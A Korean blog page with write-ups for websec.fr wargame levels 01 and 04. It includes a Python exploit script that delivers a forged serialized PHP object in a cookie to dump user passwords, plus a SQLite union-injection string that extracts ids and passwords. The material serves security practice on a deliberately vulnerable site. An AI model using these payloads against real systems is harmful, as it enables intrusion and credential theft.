'Wargame/websec.fr'에 해당되는 글 22건

아직은 초반이라 그런지 기본적인 개념 문제들이 나오고 있다.

 

PHP Object Injection 문제인데 다음과 같이 소스를 제공하고있다. 

 

source1)

<?php
include 'connect.php'
;

$sql = new SQL
();
$sql->connect
();
$sql->query 'SELECT username FROM users WHERE id='
;


if (isset (
$_COOKIE['leet_hax0r'
])) {
    
$sess_data unserialize (base64_decode ($_COOKIE['leet_hax0r'
]));
    try {
        if (
is_array($sess_data) && $sess_data['ip'] != $_SERVER['REMOTE_ADDR'
]) {
            die(
'CANT HACK US!!!'
);
        }
    } catch(
Exception $e
) {
        echo 
$e
;
    }
} else {
    
$cookie base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR'
]))) ;
    
setcookie ('leet_hax0r'$cookietime () + (86400 30
));
}

if (isset (
$_REQUEST['id']) && is_numeric ($_REQUEST['id'
])) {
    try {
        
$sql->query .= $_REQUEST['id'
];
    } catch(
Exception $e
) {
        echo 
' Invalid query'
;
    }
}
?>

 

source2)

<?php

class SQL {
    public 
$query '';
    public 
$conn;
    public function 
__construct() {
    }
    
    public function 
connect() {
        
$this->conn = new SQLite3 ("database.db"SQLITE3_OPEN_READONLY);
    }

    public function 
SQL_query($query) {
        
$this->query $query;
    }

    public function 
execute() {
        return 
$this->conn->query ($this->query);
    }

    public function 
__destruct() {
        if (!isset (
$this->conn)) {
            
$this->connect ();
        }
        
        
$ret $this->execute ();
        if (
false !== $ret) {    
            while (
false !== ($row $ret->fetchArray (SQLITE3_ASSOC))) {
                echo 
'<p class="well"><strong>Username:<strong> ' $row['username'] . '</p>';
            }
        }
    }
}
?>

 

 

코드가 매우 간단하고 기본적인 PHP Object Injection 이라 간단히 설명하고 넘어가면 deserialize할 때 쿠키값에 요런식으로 변조된 sql 클래스의 직렬화 데이터를 base64 인코딩해서 넣어주면 된다. 그러면 query가 덮이면서 내가원하는 sql 구문을 실행할 수 있다.

 

O:3:"SQL":2:{s:5:"query";s:40:"select password as username from users--";s:2:"ip";s:14:"210.183.42.143";}

 



exploit.py

import requests


def getFlag(payload):

    url = "http://websec.fr/level04/index.php"

    payload = 'O:3:"SQL":1:{s:5:"query";s:'+str(len(payload))+':"'+payload+'";}'

    headers = {"Cookie":"leet_hax0r="+payload.encode("base64").replace("\n","")+";"}

    result = requests.post(url,headers=headers).text

    print result


payload = "select group_concat(password) as username from users"

getFlag(payload)


'Wargame > websec.fr' 카테고리의 다른 글

Websec.fr easy level 08  (0) 2018.03.08
Websec.fr easy level 02  (0) 2018.03.08
Websec.fr babysteps level17  (0) 2018.03.08
Websec.fr babysteps level 06  (0) 2018.03.08
Websec.fr babysteps Level 01  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Websec.fr이라는 난이도 헬이라는 웹 워게임 사이트를 찾았다.

 

쉬운거부터 하나하나 시간날때 풀어봐야겠다.

 

첫문제는 그래도 간단하다.

 

sqlite sql_injection 해주면 된다.

 

1 union select 1,id||'////'||password from users--

 

 

 

'Wargame > websec.fr' 카테고리의 다른 글

Websec.fr easy level 08  (0) 2018.03.08
Websec.fr easy level 02  (0) 2018.03.08
Websec.fr babysteps level17  (0) 2018.03.08
Websec.fr babysteps level 06  (0) 2018.03.08
Websec.fr babysteps level 04  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,